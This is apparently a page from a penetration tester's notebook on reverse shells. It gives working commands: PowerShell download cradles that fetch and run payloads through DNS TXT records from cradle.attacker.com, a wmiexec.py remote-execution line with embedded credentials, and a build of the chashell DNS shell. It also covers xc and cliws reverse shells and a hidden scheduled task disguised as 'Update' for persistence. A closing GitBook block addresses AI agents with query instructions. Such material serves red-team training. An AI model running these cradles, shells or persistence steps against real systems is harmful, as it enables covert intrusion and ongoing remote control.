> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/shells/reverse-shells.md). # Reverse Shells * * ## PowerShell * * * ### Download Cradles * * * ### PowerShell DNS Delivery * * ``` 'powershell $a=""""http://10.10.13.37/payload.txt"""";iex(Resolve-DnsName """"cradle.attacker.com"""" 16).Strings[0]' wmiexec.py -silentcommand -nooutput megacorp.local/snovvcrash:'Passw0rd!'@PC01.megacorp.local 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe $url=""""http://10.10.13.37/run.ps1"""";iex(resolve-dnsname """"cradle.attacker.com"""" 16).strings[0];Invoke-RunPayload http://10.10.13.37/payload.txt' ``` ## Transport over DNS * * * ### dnscat2 * * ### chashell * Buy and configure DNS (e. g., `example.com`): ``` A * -> A @ -> A chashell -> NS c -> chashell.example.com ``` Get dependencies: ``` $ export GOPATH=/home/user/code/go $ export PATH=$GOPATH:$GOPATH/bin:$PATH $ go get -v -u github.com/golang/dep/cmd/dep $ go get github.com/mitchellh/gox $ cd $GOPATH/src/github.com/golang/dep $ go install ./... ``` Clone chashell into `$GOPATH/src` (otherwise, `dep` will error out): ``` $ git clone https://github.com/sysdream/chashell $GOPATH/src/chashell $ cd $GOPATH/src/chashell ``` Build binaries: ``` $ export ENCRYPTION_KEY=$(python -c 'from os import urandom; print(urandom(32).encode("hex"))') $ export DOMAIN_NAME=c.example.com $ make build-all OSARCH="linux/amd64" ``` Run server on Attacker: ``` $ cd release/ $ sudo systemctl stop systemd-resolved $ sudo ./chaserv_linux_amd64 ``` Run client on Victim: ``` $ ./chashell_linux_amd64 ``` ## Tools * * ### VbRev * ### xc * Listen: ``` $ rlwrap ./xc -l -p 443 ``` Launch: ``` PS > Start-Process -NoNewWindow .\xc.exe "10.10.13.38 443" ``` ### cliws * Reverse mode: ``` $ rlwrap -cAr ./cliws -l 8000 Cmd > .\cliws.exe -r ws://10.10.13.37:8000 powershell ``` Create a scheduled task for persistence: ```powershell $ while true; do sudo netstat -tulpan | grep LISTEN | grep 8080 > /dev/null || rlwrap -cAr ./cliws -l 8080; done $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Hours 1) $settings = New-ScheduledTaskSettingsSet -Hidden -MultipleInstances Queue $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden C:\Windows\Tasks\cliws.exe -r ws://10.10.13.37:8080 powershell" Register-ScheduledTask -TaskName "Update" -Trigger $trigger -Settings $settings -Action $action ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://ppn.snovvcra.sh/pentest/shells/reverse-shells.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.